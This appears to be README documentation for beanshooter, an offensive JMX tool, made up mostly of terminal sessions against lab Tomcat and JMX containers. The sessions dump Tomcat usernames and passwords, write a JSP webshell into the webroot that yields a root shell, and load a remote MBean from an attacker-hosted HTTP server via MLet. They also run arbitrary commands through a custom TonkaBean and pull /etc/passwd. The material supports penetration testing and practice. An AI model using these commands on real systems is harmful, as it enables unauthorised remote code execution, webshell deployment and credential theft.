[qtc@devbox ~]$ beanshooter diagnostic cmdline 172.17.0.2 1090
VM Arguments:
jvm_args: --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.base/java.util.concurrent=ALL-UNNAMED --add-opens=java.rmi/sun.rmi.transport=ALL-UNNAMED -Djava.util.logging.config.file=/usr/local/tomcat/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dorg.apache.catalina.security.SecurityListener.UMASK=0027 -Dignore.endorsed.dirs= -Dcatalina.base=/usr/local/tomcat -Dcatalina.home=/usr/local/tomcat -Djava.io.tmpdir=/usr/local/tomcat/temp -Djava.rmi.server.hostname=iinsecure.example -Djavax.net.ssl.keyStorePassword=password -Djavax.net.ssl.keyStore=/opt/store.p12 -Djavax.net.ssl.keyStoreType=pkcs12 -Dcom.sun.management.jmxremote -Dcom.sun.management.jmxremote.ssl=false -Dcom.sun.management.jmxremote.local.only=false -Dcom.sun.management.jmxremote.authenticate=false -Dcom.sun.management.jmxremote.port=1090 -Dcom.sun.management.jmxremote.rmi.port=1099
java_command: org.apache.catalina.startup.Bootstrap start
java_class_path (initial): /usr/local/tomcat/bin/bootstrap.jar:/usr/local/tomcat/bin/tomcat-juli.jar
Launcher Type: SUN_STANDARDThe props action prints a list of system properties:
[qtc@devbox ~]$ beanshooter diagnostic props 172.17.0.2 1090
#Mon Jul 25 19:17:52 UTC 2022
com.sun.management.jmxremote.rmi.port=1099
awt.toolkit=sun.awt.X11.XToolkit
java.specification.version=11
sun.cpu.isalist=
...The HotSpotDiagnosticMXBean provides an interface for managing the HotSpot Virtual Machine and supports some methods that are useful from an offensive perspective.
The dump action creates a heapdump and saves it to an arbitrary location on the application server.
The only requirement is, that the dump is saved as a file with the .hprof extension:
[qtc@devbox ~]$ beanshooter hotspot dump 172.17.0.2 1090 /tmp/dump.hprof
[+] Heapdump file /tmp/dump.hprof was created successfully.The list action prints a list of available Diagnostic Options and their associated values:
[qtc@devbox ~]$ beanshooter hotspot list 172.17.0.2 1090
[+] HeapDumpBeforeFullGC (value = false, writable = true)
[+] HeapDumpAfterFullGC (value = false, writable = true)
[+] HeapDumpOnOutOfMemoryError (value = false, writable = true)
[+] HeapDumpPath (value = , writable = true)
...The get action allows to obtain the value of the specified option:
[qtc@devbox ~]$ beanshooter hotspot get 172.17.0.2 1090 HeapDumpBeforeFullGC
[+] Name: HeapDumpBeforeFullGC
[+] Value: false
[+] Writable: trueThe set action allows to set the value of the specified option:
[qtc@devbox ~]$ beanshooter hotspot set 172.17.0.2 1090 HeapDumpBeforeFullGC true
[+] Option was set successfully.
[qtc@devbox ~]$ beanshooter hotspot get 172.17.0.2 1090 HeapDumpBeforeFullGC
[+] Name: HeapDumpBeforeFullGC
[+] Value: true
[+] Writable: trueThe MLetMBean is a well known MBean that can be used for loading additional MBeans over the
network. It is already implicitly used by beanshooters deploy action, but can also be invoked
manually using the mlet operation.
The currently only implemented MLet method is the load operation that can be used to load
an MBean class from a user specified URL:
[qtc@devbox ~]$ beanshooter mlet load 172.17.0.2 9010 tonka http://172.17.0.1:8000
[+] Starting MBean deployment.
[+]
[+] Deplyoing MBean: MLet
[+] MBean with object name DefaultDomain:type=MLet was successfully deployed.
[+]
[+] Loading MBean from http://172.17.0.1:8000
[+]
[+] Creating HTTP server on: 172.17.0.1:8000
[+] Creating MLetHandler for endpoint: /
[+] Creating JarHandler for endpoint: /3584de270132420aaf0812366bc46035
[+] Starting HTTP server...
[+]
[+] Incoming request from: iinsecure.example
[+] Requested resource: /
[+] Sending mlet:
[+]
[+] Class: de.qtc.beanshooter.tonkabean.TonkaBean
[+] Archive: 3584de270132420aaf0812366bc46035
[+] Object: MLetTonkaBean:name=TonkaBean,id=1
[+] Codebase: http://172.17.0.1:8000
[+]
[+] Incoming request from: iinsecure.example
[+] Requested resource: /3584de270132420aaf0812366bc46035
[+] Sending jar file with md5sum: b2f7040f7d8f2d1f40b205d631ff7356
[+]
[+] MBean was loaded successfully.The example above demonstrates how the TonkaBean can be manually loaded using the mlet operation. If
you want to load a custom MBean instead, you need to specify the keyword custom instead of tonka and supply
the --class-name, --object-name and --jar-file options:
[qtc@devbox ~]$ beanshooter mlet load 172.17.0.2 9010 custom http://172.17.0.1:8000 --class-name de.qtc.beanshooter.ExampleBean --object-name ExampleBean:name=ExampleBean,id=1 --jar-file www/example.jar
[+] Starting MBean deployment.
[+] ...
[+] MBean was loaded successfully.The FlightRecorderMXBean provides an interface for managing the Flight Recorder and supports some methods that are interesting from an offensive prespective.
The new operation starts a new recording. The returned recording ID can be used as a target
for other operations:
[qtc@devbox ~]$ beanshooter recorder new 172.17.0.2 1090
[+] Requesting new recording on the MBeanServer.
[+] New recording created successfully with ID: 1The start action starts an already existing recording and expects the recording ID as an additional argument:
[qtc@devbox ~]$ beanshooter recorder start 172.17.0.2 1090 1
[+] Recording with ID 1 started successfully.While an recording is active, its contents can be dumped using the dump action. This stores the recording
information in a dump file on the JMX server:
[qtc@devbox ~]$ beanshooter recorder dump 172.17.0.2 1090 1 /tmp/dump.dat
[+] Recording with ID 1 was successfully dumped to /tmp/dump.datThe stop action can be used to stop a recording:
[qtc@devbox ~]$ beanshooter recorder stop 172.17.0.2 1090 1
[+] Recording with ID 1 stopped successfully.After a recording was stopped, it can be saved using the save action. In contrast to the dump action,
this saves the recording on the local machine instead on the application server.
[qtc@devbox ~]$ beanshooter recorder save 172.17.0.2 1090 1 recording.dat
[+] Saving recording with ID: 1
[+] Writing recording data to: /home/qtc/recording.datThe tomcat operation interacts with the MemoryUserDatabaseMBean of Apache Tomcat. This MBean provides access to user
accounts that are available on a Tomcat service.
The dump action dumps usernames and passwords available on the Tomcat server into local files.
When invoked with a single argument, credentials are dumped in <username>:<password> format:
[qtc@devbox ~]$ beanshooter tomcat dump 172.17.0.2 1090 creds.txt
[+] Dumping credentials...
[+] Users dumped to /home/qtc/creds.txt
[qtc@devbox ~]$ cat creds.txt
manager:P@55w0rD#
admin:s3cr3T!$
status:[email protected]When invoked with two arguments, usernames are stored in the first specified location, passwords in the second one:
[qtc@devbox ~]$ beanshooter tomcat dump 172.17.0.2 1090 users.txt passwords.txt
[+] Dumping credentials...
[+] Users dumped to /home/qtc/users.txt
[+] Passwords dumped to /home/qtc/passwords.txtThe list operation lists available user accounts, their associated roles and credentials:
[qtc@devbox ~]$ beanshooter tomcat list 172.17.0.2 1090
[+] Listing tomcat users:
[+]
[+] ----------------------------------------
[+] Username: manager
[+] Password: P@55w0rD#
[+] Roles:
[+] Users:type=Role,rolename="manager-gui",database=UserDatabase
[+] Users:type=Role,rolename="manager-script",database=UserDatabase
[+] Users:type=Role,rolename="manager-jmx",database=UserDatabase
[+] Users:type=Role,rolename="manager-status",database=UserDatabase
[+]
[+] ----------------------------------------
[+] Username: admin
[+] Password: s3cr3T!$
[+] Roles:
[+] Users:type=Role,rolename="admin-gui",database=UserDatabase
[+] Users:type=Role,rolename="admin-script",database=UserDatabase
[+]
[+] ----------------------------------------
[+] Username: status
[+] Password: [email protected]
[+] Roles:
[+] Users:type=Role,rolename="manager-status",database=UserDatabaseThe write operation writes a partially controlled file to an arbitrary location on the application
server. This action can be used to reliably deploy a webshell on a Tomcat service:
[qtc@devbox ~]$ beanshooter tomcat write 172.17.0.2 1090 /opt/webshell-cli/webshells/webshell.jsp /usr/local/tomcat/webapps/ROOT/shell.jsp
[+] Writing local file /opt/webshell-cli/webshells/webshell.jsp to server location /usr/local/tomcat/webapps/ROOT/shell.jsp
[+] Current user database is at conf/tomcat-users.xml
[+] Current user database is readonly
[+] Adjusting readonly property to make it writable.
[+] Changing database path to /usr/local/tomcat/webapps/ROOT/shell.jsp
[+] Creating new role containing the local file content.
[+] Saving modified user database.
[+] Restoring readonly property.
[+] Restoring pathname property.
[+] All done.
[qtc@devbox ~]$ webshell-cli http://172.17.0.2:8080/shell.jsp
[root@d475fdb21692 /usr/local/tomcat]$ id
uid=0(root) gid=0(root) groups=0(root)The write action abuses an encoding bug within the UserDatabase MBean of Apache Tomcat. We reported
the bug, but it was not considered a security vulnerability. For writing to arbitrary locations, beanshooter
needs to change the location of the UserDatabase. All changes are restored, after the desired file was written,
but still be careful in production environments.
The TonkaBean is a custom MBean that is implemented by the beanshooter project and allows
file system access and command execution on the JMX server. Its actions can be accessed by
using the tonka operation, followed by the desired action.
The exec action can be used to invoke a single command on the JMX service:
[qtc@devbox ~]$ beanshooter tonka exec 172.17.0.2 9010 id
[+] Invoking the executeCommand method with argument: id
[+] The call was successful
[+]
[+] Server response:
uid=0(root) gid=0(root) groups=0(root)The last argument of the exec operation is expected to be a string. When the --shell option is not
used, this string is split on spaces (quotes aware) and passed as an array to the ProcessBuilder
class on the server side.
If --shell was used, the specified shell string is split on spaces and the resulting array is
joined with the specified argument string before passing it to the ProcessBuilder class. This
allows shell like execution with correctly interpreted shell special characters:
[qtc@devbox ~]$ beanshooter tonka exec 172.17.0.2 9010 --shell 'ash -c' 'echo $HOSTNAME'
[+] Invoking the executeCommand method with argument: ash -c echo $HOSTNAME
[+] The call was successful
[+]
[+] Server response:
fee2d783023bFor convenience, common shells are automatically suffixed with the required command string argument.
Therefore, --shell ash is automatically converted to --shell 'ash -c'.
The execarray operation is very similar to the exec action, but instead of expecting a string as argument
and splitting this string on spaces to construct the command array, the execarray operation allows multiple
arguments to be specified that are used directly as the command array for the ProcessBuilder class:
[qtc@devbox ~]$ beanshooter tonka execarray 172.17.0.2 9010 -- ash -c 'echo $HOME'
[+] Invoking the executeCommand method with argument: ash -c echo $HOME
[+] The call was successful
[+]
[+] Server response:
/rootThe shell action spawns a command shell where you can specify commands that are executed on the JMX
server. The shell is not fully interactive and just represents a wrapper around Javas Runtime.exec
method. However, basic support for environment variables and a current working directory is implemented:
[qtc@devbox ~]$ beanshooter tonka shell 172.17.0.2 9010
[[email protected] /]$ id
uid=0(root) gid=0(root) groups=0(root)
[[email protected] /]$ cd /home
[[email protected] /home]$ !env test=example
[[email protected] /home]$ echo $test
exampleThe example above demonstrates how to set environment variables using the !env keyword. Apart from this
keyword, several others are available:
[qtc@devbox ~]$ beanshooter tonka shell 172.17.0.2 9010
[[email protected] /]$ !help
Available shell commands:
<cmd> execute the specified command
cd <dir> change working directory on the server
exit|quit exit the shell
!help|!h print this help menu
!environ|!env <key>=<value> set new environment variables in key=value format
!upload|!put <src> <dst> upload a file to the remote MBeanServer
!download|!get <src> <dst> download a file from the remote MBeanServer
!background|!back <cmd> executes the specified command in the backgroundThe upload action can be used to upload a file to the JMX server:
[qtc@devbox ~]$ beanshooter tonka upload 172.17.0.2 9010 file.dat /tmp
[+] Uploading local file /home/qtc/file.dat to path /tmp on the MBeanSerer.
[+] 33 bytes were written to /tmp/file.datThe download action can be used to download a file from the JMX server:
[qtc@devbox ~]$ beanshooter tonka download 172.17.0.2 9010 /etc/passwd
[+] Saving remote file /etc/passwd to local path /home/qtc/passwd
[+] 1172 bytes were written to /home/qtc/passwdJMX services can use different connector types. The by far most commonly used connector is Java RMI, which
allows access to JMX based on the Java RMI protocol. Another popular connector is the JMX Message Protocol
(JMXMP) that, despite being outdated, is still encountered quite often. beanshooter has builtin JMXMP support
and attempts to connect via JMXMP when using the --jmxmp option:
[qtc@devbox ~]$ beanshooter enum 172.17.0.2 4444 --jmxmp
[+] Checking servers SASL configuration:
[+]
[+] - Remote JMXMP server does not use SASL.
[+] Login is possible without specifying credentials.
[+] Vulnerability Status: Vulnerable
[+]
[+] Checking pre-auth deserialization behavior:
[+]
[+] - JMXMP serial check is work in progress but endpoints are usually vulnerable.
[+] Configuration Status: Undecided
[+]
[+] Checking available MBeans:
[+]
[+] - 22 MBeans are currently registred on the MBean server.
[+] Found 0 non default MBeans.Authenticated JMXMP endpoints are usually protected using SASL. With SASL enabled, a JMX endpoint usually requires the client to connect with a specific SASL Profile. Available profiles for beanshooter are:
- plain
- digest
- cram
- ntlm
- gssapi
Each of them can optionally be paired with TLS by using the --ssl option. When using the enum action on a SASL protected
JMXMP endpoint, beanshooter attempts to enumerate the required SASL profile. Whereas determining the required SASL
mechanism is usually possible, the required TLS setting cannot be enumerated:
[qtc@devbox ~]$ beanshooter enum 172.17.0.2 4449 --jmxmp
[+] Checking servers SASL configuration:
[+]
[+] - Remote JMXMP server uses SASL/NTLM SASL profile.
[+] Notice: TLS setting cannot be enumerated and --ssl may be required.
[+] Vulnerability Status: Non Vulnerable
[+]
[+] Checking pre-auth deserialization behavior:
[+]
[+] - JMXMP serial check is work in progress but endpoints are usually vulnerable.
[+] Configuration Status: UndecidedStarting from v4.0.0, beanshooter supports Jolokia based JMX endpoints.
Establishing connections to a Jolokia based endpoint requires the usual target format and the --jolokia flag:
[qtc@devbox ~]$ beanshooter enum 172.17.0.2 8080 --jolokia --username manager --password admin
[+] Checking specified credentials:
[+]
[+] - Login successful! The specified credentials are correct.
[+] Username: manager - Password: admin
[+]
[+] Checking Jolokia Version:
[+]
[+] - Agent Version 1.7.1 - Protocol Version: 7.2
[+] Vulnerability Status: Non Vulnerable
[+]
[+] Checking whether Jolokia Proxy Mode is enabled:
[+]
[+] - Jolokia Proxy Mode is enabled! You may connect to backend JMX services.
[+] Vulnerability Status: Vulnerable
[+]
[+] Checking available MBeans:
[+]
[+] - 75 MBeans are currently registred on the MBean server.
[+] Listing 56 non default MBeans:
...Due to the limited feature set of Jolokia, not all beanshooter operations are supported. Please
consult the Jolokia FAQ if you have any questions. For playing around with
Jolokia, beanshooter provides an example server
that exposes an Jolokia endpoint on port 8080. Additionally, a regular RMI based JMX endpoint
can be found on port 1090.
Since version v3.1.1, beanshooter is also available as docker image and can be pulled from the
GitHub Container Registry.
For each release, there is a normal and a slim version available. Both provide a full working version of
beanshooter, but only the normal version ships with ysoserial
included, resulting in a larger image size:
docker pull ghcr.io/qtc-de/beanshooter/beanshooter:4.1.0-124MBdocker pull ghcr.io/qtc-de/beanshooter/beanshooter:4.1.0-slim-64.8MB
You can also build the container on your own by running the following commands:
[user@host ~]$ git clone https://github.com/qtc-de/beanshooter
[user@host ~]$ cd beanshooter && docker build -t beanshooter .Most of the examples presented above are based on the jmx-example-server and the tomcat-example-server. These servers are contained within this repository in the docker folder and can be used to practice JMX enumeration. You can either build the corresponding containers yourself or load them directly from the GitHub Container Registry.
Copyright 2023, Tobias Neitzel and the beanshooter contributors.